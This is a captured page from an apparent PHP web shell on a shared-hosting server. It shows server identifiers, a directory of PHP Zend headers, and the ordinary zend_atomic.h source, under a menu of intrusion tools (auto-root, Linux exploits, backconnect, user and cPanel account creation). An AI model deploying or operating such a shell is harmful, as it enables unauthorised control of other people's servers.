Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php84 /
usr /
include /
php /
Zend /
[ HOME SHELL ]
Name
Size
Permission
Action
Optimizer
[ DIR ]
drwxr-xr-x
zend.h
17.25
KB
-rw-r--r--
zend_API.h
106.4
KB
-rw-r--r--
zend_alloc.h
20.22
KB
-rw-r--r--
zend_alloc_sizes.h
2.57
KB
-rw-r--r--
zend_arena.h
5.94
KB
-rw-r--r--
zend_ast.h
13.47
KB
-rw-r--r--
zend_atomic.h
12.77
KB
-rw-r--r--
zend_attributes.h
5.77
KB
-rw-r--r--
zend_attributes_arginfo.h
14.18
KB
-rw-r--r--
zend_bitset.h
7.89
KB
-rw-r--r--
zend_build.h
1.59
KB
-rw-r--r--
zend_builtin_functions.h
1.54
KB
-rw-r--r--
zend_builtin_functions_arginfo...
14.87
KB
-rw-r--r--
zend_call_stack.h
2.98
KB
-rw-r--r--
zend_closures.h
2.26
KB
-rw-r--r--
zend_closures_arginfo.h
2.02
KB
-rw-r--r--
zend_compile.h
52.2
KB
-rw-r--r--
zend_config.h
32
B
-rw-r--r--
zend_constants.h
6.96
KB
-rw-r--r--
zend_constants_arginfo.h
1.85
KB
-rw-r--r--
zend_cpuinfo.h
9.29
KB
-rw-r--r--
zend_dtrace.h
2
KB
-rw-r--r--
zend_enum.h
2.86
KB
-rw-r--r--
zend_enum_arginfo.h
1.65
KB
-rw-r--r--
zend_errors.h
2.36
KB
-rw-r--r--
zend_exceptions.h
4.54
KB
-rw-r--r--
zend_exceptions_arginfo.h
17.26
KB
-rw-r--r--
zend_execute.h
23.4
KB
-rw-r--r--
zend_extensions.h
6.43
KB
-rw-r--r--
zend_fibers.h
5.29
KB
-rw-r--r--
zend_fibers_arginfo.h
3.45
KB
-rw-r--r--
zend_float.h
15.11
KB
-rw-r--r--
zend_frameless_function.h
5.39
KB
-rw-r--r--
zend_gc.h
4.58
KB
-rw-r--r--
zend_gdb.h
1.39
KB
-rw-r--r--
zend_generators.h
7.48
KB
-rw-r--r--
zend_generators_arginfo.h
2.82
KB
-rw-r--r--
zend_globals.h
9.77
KB
-rw-r--r--
zend_globals_macros.h
2.77
KB
-rw-r--r--
zend_hash.h
50.36
KB
-rw-r--r--
zend_highlight.h
2.27
KB
-rw-r--r--
zend_hrtime.h
3.75
KB
-rw-r--r--
zend_inheritance.h
3.11
KB
-rw-r--r--
zend_ini.h
11.88
KB
-rw-r--r--
zend_ini_parser.h
2.69
KB
-rw-r--r--
zend_ini_scanner.h
1.93
KB
-rw-r--r--
zend_ini_scanner_defs.h
246
B
-rw-r--r--
zend_interfaces.h
4.02
KB
-rw-r--r--
zend_interfaces_arginfo.h
7.66
KB
-rw-r--r--
zend_iterators.h
3.81
KB
-rw-r--r--
zend_language_parser.h
6.06
KB
-rw-r--r--
zend_language_scanner.h
3
KB
-rw-r--r--
zend_language_scanner_defs.h
310
B
-rw-r--r--
zend_lazy_objects.h
4.61
KB
-rw-r--r--
zend_list.h
3.4
KB
-rw-r--r--
zend_llist.h
3.94
KB
-rw-r--r--
zend_long.h
4.13
KB
-rw-r--r--
zend_map_ptr.h
3.49
KB
-rw-r--r--
zend_max_execution_timer.h
1.45
KB
-rw-r--r--
zend_mmap.h
1.48
KB
-rw-r--r--
zend_modules.h
4.71
KB
-rw-r--r--
zend_multibyte.h
4.83
KB
-rw-r--r--
zend_multiply.h
10.03
KB
-rw-r--r--
zend_object_handlers.h
17.66
KB
-rw-r--r--
zend_objects.h
1.9
KB
-rw-r--r--
zend_objects_API.h
5.48
KB
-rw-r--r--
zend_observer.h
8.82
KB
-rw-r--r--
zend_operators.h
33.26
KB
-rw-r--r--
zend_portability.h
26.8
KB
-rw-r--r--
zend_property_hooks.h
1.78
KB
-rw-r--r--
zend_ptr_stack.h
4.22
KB
-rw-r--r--
zend_range_check.h
2.93
KB
-rw-r--r--
zend_signal.h
4.01
KB
-rw-r--r--
zend_smart_str.h
6.88
KB
-rw-r--r--
zend_smart_str_public.h
1.19
KB
-rw-r--r--
zend_smart_string.h
4.11
KB
-rw-r--r--
zend_smart_string_public.h
1.21
KB
-rw-r--r--
zend_sort.h
1.52
KB
-rw-r--r--
zend_stack.h
2.38
KB
-rw-r--r--
zend_stream.h
3.56
KB
-rw-r--r--
zend_string.h
22.16
KB
-rw-r--r--
zend_strtod.h
2.29
KB
-rw-r--r--
zend_strtod_int.h
2.81
KB
-rw-r--r--
zend_system_id.h
1.39
KB
-rw-r--r--
zend_type_info.h
4.44
KB
-rw-r--r--
zend_types.h
51.06
KB
-rw-r--r--
zend_variables.h
3.02
KB
-rw-r--r--
zend_verify_type_inference.h
8.07
KB
-rw-r--r--
zend_virtual_cwd.h
12.89
KB
-rw-r--r--
zend_vm.h
2.06
KB
-rw-r--r--
zend_vm_def.h
295.58
KB
-rw-r--r--
zend_vm_execute.h
2.17
MB
-rw-r--r--
zend_vm_handlers.h
90.54
KB
-rw-r--r--
zend_vm_opcodes.h
13.45
KB
-rw-r--r--
zend_vm_trace_handlers.h
3.14
KB
-rw-r--r--
zend_vm_trace_lines.h
1.71
KB
-rw-r--r--
zend_vm_trace_map.h
2.6
KB
-rw-r--r--
zend_weakrefs.h
3.15
KB
-rw-r--r--
zend_weakrefs_arginfo.h
3.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : zend_atomic.h
/* +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | https://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Levi Morrison <morrison.levi@gmail.com> | +----------------------------------------------------------------------+ */ #ifndef ZEND_ATOMIC_H #define ZEND_ATOMIC_H #include "zend_portability.h" #include <stdbool.h> #define ZEND_GCC_PREREQ(x, y) \ ((__GNUC__ == (x) && __GNUC_MINOR__ >= (y)) || (__GNUC__ > (x))) /* Builtins are used to avoid library linkage */ #if __has_feature(c_atomic) && defined(__clang__) #define HAVE_C11_ATOMICS 1 #elif ZEND_GCC_PREREQ(4, 7) #define HAVE_GNUC_ATOMICS 1 #elif defined(__GNUC__) #define HAVE_SYNC_ATOMICS 1 #elif !defined(ZEND_WIN32) #define HAVE_NO_ATOMICS 1 #endif #undef ZEND_GCC_PREREQ /* Treat zend_atomic_* types as opaque. They have definitions only for size * and alignment purposes. */ #if defined(ZEND_WIN32) || defined(HAVE_SYNC_ATOMICS) typedef struct zend_atomic_bool_s { volatile char value; } zend_atomic_bool; typedef struct zend_atomic_int_s { # ifdef ZEND_WIN32 volatile long value; # else volatile int value; # endif } zend_atomic_int; #elif defined(HAVE_C11_ATOMICS) typedef struct zend_atomic_bool_s { _Atomic(bool) value; } zend_atomic_bool; typedef struct zend_atomic_int_s { _Atomic(int) value; } zend_atomic_int; #else typedef struct zend_atomic_bool_s { volatile bool value; } zend_atomic_bool; typedef struct zend_atomic_int_s { volatile int value; } zend_atomic_int; #endif BEGIN_EXTERN_C() #ifdef ZEND_WIN32 #ifndef InterlockedExchange8 #define InterlockedExchange8 _InterlockedExchange8 #endif #ifndef InterlockedOr8 #define InterlockedOr8 _InterlockedOr8 #endif #ifndef InterlockedCompareExchange8 #define InterlockedCompareExchange8 _InterlockedCompareExchange8 #endif #ifndef InterlockedExchange #define InterlockedExchange _InterlockedExchange #endif #ifndef InterlockedOr #define InterlockedOr _InterlockedOr #endif #ifndef InterlockedCompareExchange #define InterlockedCompareExchange _InterlockedCompareExchange #endif #define ZEND_ATOMIC_BOOL_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_INT_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_BOOL_INITIALIZER(desired) {.value = (desired)} #define ZEND_ATOMIC_INT_INITIALIZER(desired) {.value = (desired)} static zend_always_inline bool zend_atomic_bool_exchange_ex(zend_atomic_bool *obj, bool desired) { return InterlockedExchange8(&obj->value, desired); } static zend_always_inline int zend_atomic_int_exchange_ex(zend_atomic_int *obj, int desired) { return (int) InterlockedExchange(&obj->value, desired); } static zend_always_inline bool zend_atomic_bool_compare_exchange_ex(zend_atomic_bool *obj, bool *expected, bool desired) { bool prev = (bool) InterlockedCompareExchange8(&obj->value, *expected, desired); if (prev == *expected) { return true; } else { *expected = prev; return false; } } static zend_always_inline bool zend_atomic_int_compare_exchange_ex(zend_atomic_int *obj, int *expected, int desired) { int prev = (int) InterlockedCompareExchange(&obj->value, *expected, desired); if (prev == *expected) { return true; } else { *expected = prev; return false; } } /* On this platform it is non-const due to Iterlocked API*/ static zend_always_inline bool zend_atomic_bool_load_ex(zend_atomic_bool *obj) { /* Or'ing with false won't change the value. */ return InterlockedOr8(&obj->value, false); } static zend_always_inline int zend_atomic_int_load_ex(zend_atomic_int *obj) { /* Or'ing with 0 won't change the value. */ return (int) InterlockedOr(&obj->value, 0); } static zend_always_inline void zend_atomic_bool_store_ex(zend_atomic_bool *obj, bool desired) { (void)InterlockedExchange8(&obj->value, desired); } static zend_always_inline void zend_atomic_int_store_ex(zend_atomic_int *obj, int desired) { (void)InterlockedExchange(&obj->value, desired); } #elif defined(HAVE_C11_ATOMICS) #define ZEND_ATOMIC_BOOL_INIT(obj, desired) __c11_atomic_init(&(obj)->value, (desired)) #define ZEND_ATOMIC_INT_INIT(obj, desired) __c11_atomic_init(&(obj)->value, (desired)) #define ZEND_ATOMIC_BOOL_INITIALIZER(desired) {.value = (desired)} #define ZEND_ATOMIC_INT_INITIALIZER(desired) {.value = (desired)} static zend_always_inline bool zend_atomic_bool_exchange_ex(zend_atomic_bool *obj, bool desired) { return __c11_atomic_exchange(&obj->value, desired, __ATOMIC_SEQ_CST); } static zend_always_inline int zend_atomic_int_exchange_ex(zend_atomic_int *obj, int desired) { return __c11_atomic_exchange(&obj->value, desired, __ATOMIC_SEQ_CST); } static zend_always_inline bool zend_atomic_bool_compare_exchange_ex(zend_atomic_bool *obj, bool *expected, bool desired) { return __c11_atomic_compare_exchange_strong(&obj->value, expected, desired, __ATOMIC_SEQ_CST, __ATOMIC_SEQ_CST); } static zend_always_inline bool zend_atomic_int_compare_exchange_ex(zend_atomic_int *obj, int *expected, int desired) { return __c11_atomic_compare_exchange_strong(&obj->value, expected, desired, __ATOMIC_SEQ_CST, __ATOMIC_SEQ_CST); } static zend_always_inline bool zend_atomic_bool_load_ex(const zend_atomic_bool *obj) { return __c11_atomic_load(&obj->value, __ATOMIC_SEQ_CST); } static zend_always_inline int zend_atomic_int_load_ex(const zend_atomic_int *obj) { return __c11_atomic_load(&obj->value, __ATOMIC_SEQ_CST); } static zend_always_inline void zend_atomic_bool_store_ex(zend_atomic_bool *obj, bool desired) { __c11_atomic_store(&obj->value, desired, __ATOMIC_SEQ_CST); } static zend_always_inline void zend_atomic_int_store_ex(zend_atomic_int *obj, int desired) { __c11_atomic_store(&obj->value, desired, __ATOMIC_SEQ_CST); } #elif defined(HAVE_GNUC_ATOMICS) /* bool */ #define ZEND_ATOMIC_BOOL_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_INT_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_BOOL_INITIALIZER(desired) {.value = (desired)} #define ZEND_ATOMIC_INT_INITIALIZER(desired) {.value = (desired)} static zend_always_inline bool zend_atomic_bool_exchange_ex(zend_atomic_bool *obj, bool desired) { bool prev = false; __atomic_exchange(&obj->value, &desired, &prev, __ATOMIC_SEQ_CST); return prev; } static zend_always_inline int zend_atomic_int_exchange_ex(zend_atomic_int *obj, int desired) { int prev = false; __atomic_exchange(&obj->value, &desired, &prev, __ATOMIC_SEQ_CST); return prev; } static zend_always_inline bool zend_atomic_bool_compare_exchange_ex(zend_atomic_bool *obj, bool *expected, bool desired) { return __atomic_compare_exchange(&obj->value, expected, &desired, /* weak */ false, __ATOMIC_SEQ_CST, __ATOMIC_SEQ_CST); } static zend_always_inline bool zend_atomic_int_compare_exchange_ex(zend_atomic_int *obj, int *expected, int desired) { return __atomic_compare_exchange(&obj->value, expected, &desired, /* weak */ false, __ATOMIC_SEQ_CST, __ATOMIC_SEQ_CST); } static zend_always_inline bool zend_atomic_bool_load_ex(const zend_atomic_bool *obj) { bool prev = false; __atomic_load(&obj->value, &prev, __ATOMIC_SEQ_CST); return prev; } static zend_always_inline int zend_atomic_int_load_ex(const zend_atomic_int *obj) { int prev = false; __atomic_load(&obj->value, &prev, __ATOMIC_SEQ_CST); return prev; } static zend_always_inline void zend_atomic_bool_store_ex(zend_atomic_bool *obj, bool desired) { __atomic_store(&obj->value, &desired, __ATOMIC_SEQ_CST); } static zend_always_inline void zend_atomic_int_store_ex(zend_atomic_int *obj, int desired) { __atomic_store(&obj->value, &desired, __ATOMIC_SEQ_CST); } #elif defined(HAVE_SYNC_ATOMICS) #define ZEND_ATOMIC_BOOL_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_INT_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_BOOL_INITIALIZER(desired) {.value = (desired)} #define ZEND_ATOMIC_INT_INITIALIZER(desired) {.value = (desired)} static zend_always_inline bool zend_atomic_bool_exchange_ex(zend_atomic_bool *obj, bool desired) { bool prev = __sync_lock_test_and_set(&obj->value, desired); /* __sync_lock_test_and_set only does an acquire barrier, so sync * immediately after. */ __sync_synchronize(); return prev; } static zend_always_inline int zend_atomic_int_exchange_ex(zend_atomic_int *obj, int desired) { int prev = __sync_lock_test_and_set(&obj->value, desired); /* __sync_lock_test_and_set only does an acquire barrier, so sync * immediately after. */ __sync_synchronize(); return prev; } static zend_always_inline bool zend_atomic_bool_compare_exchange_ex(zend_atomic_bool *obj, bool *expected, bool desired) { bool prev = __sync_val_compare_and_swap(&obj->value, *expected, desired); if (prev == *expected) { return true; } else { *expected = prev; return false; } } static zend_always_inline bool zend_atomic_int_compare_exchange_ex(zend_atomic_int *obj, int *expected, int desired) { int prev = __sync_val_compare_and_swap(&obj->value, *expected, desired); if (prev == *expected) { return true; } else { *expected = prev; return false; } } static zend_always_inline bool zend_atomic_bool_load_ex(zend_atomic_bool *obj) { /* Or'ing false won't change the value */ return __sync_fetch_and_or(&obj->value, false); } static zend_always_inline int zend_atomic_int_load_ex(zend_atomic_int *obj) { /* Or'ing 0 won't change the value */ return __sync_fetch_and_or(&obj->value, 0); } static zend_always_inline void zend_atomic_bool_store_ex(zend_atomic_bool *obj, bool desired) { __sync_synchronize(); obj->value = desired; __sync_synchronize(); } static zend_always_inline void zend_atomic_int_store_ex(zend_atomic_int *obj, int desired) { __sync_synchronize(); obj->value = desired; __sync_synchronize(); } #elif defined(HAVE_NO_ATOMICS) #warning No atomics support detected. Please open an issue with platform details. #define ZEND_ATOMIC_BOOL_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_INT_INIT(obj, desired) ((obj)->value = (desired)) #define ZEND_ATOMIC_BOOL_INITIALIZER(desired) {.value = (desired)} #define ZEND_ATOMIC_INT_INITIALIZER(desired) {.value = (desired)} static zend_always_inline void zend_atomic_bool_store_ex(zend_atomic_bool *obj, bool desired) { obj->value = desired; } static zend_always_inline void zend_atomic_int_store_ex(zend_atomic_int *obj, int desired) { obj->value = desired; } static zend_always_inline bool zend_atomic_bool_compare_exchange_ex(zend_atomic_int *obj, bool *expected, bool desired) { bool prev = obj->value; if (prev == *expected) { obj->value = desired; return true; } else { *expected = prev; return false; } } static zend_always_inline bool zend_atomic_int_compare_exchange_ex(zend_atomic_int *obj, int *expected, int desired) { int prev = obj->value; if (prev == *expected) { obj->value = desired; return true; } else { *expected = prev; return false; } } static zend_always_inline bool zend_atomic_bool_load_ex(const zend_atomic_bool *obj) { return obj->value; } static zend_always_inline int zend_atomic_int_load_ex(const zend_atomic_int *obj) { return obj->value; } static zend_always_inline bool zend_atomic_bool_exchange_ex(zend_atomic_bool *obj, bool desired) { bool prev = obj->value; obj->value = desired; return prev; } static zend_always_inline int zend_atomic_int_exchange_ex(zend_atomic_int *obj, int desired) { int prev = obj->value; obj->value = desired; return prev; } #endif ZEND_API void zend_atomic_bool_init(zend_atomic_bool *obj, bool desired); ZEND_API void zend_atomic_int_init(zend_atomic_int *obj, int desired); ZEND_API bool zend_atomic_bool_exchange(zend_atomic_bool *obj, bool desired); ZEND_API int zend_atomic_int_exchange(zend_atomic_int *obj, int desired); ZEND_API bool zend_atomic_bool_compare_exchange(zend_atomic_bool *obj, bool *expected, bool desired); ZEND_API bool zend_atomic_int_compare_exchange(zend_atomic_int *obj, int *expected, int desired); ZEND_API void zend_atomic_bool_store(zend_atomic_bool *obj, bool desired); ZEND_API void zend_atomic_int_store(zend_atomic_int *obj, int desired); #if defined(ZEND_WIN32) || defined(HAVE_SYNC_ATOMICS) /* On these platforms it is non-const due to underlying APIs. */ ZEND_API bool zend_atomic_bool_load(zend_atomic_bool *obj); ZEND_API int zend_atomic_int_load(zend_atomic_int *obj); #else ZEND_API bool zend_atomic_bool_load(const zend_atomic_bool *obj); ZEND_API int zend_atomic_int_load(const zend_atomic_int *obj); #endif END_EXTERN_C() #endif
Close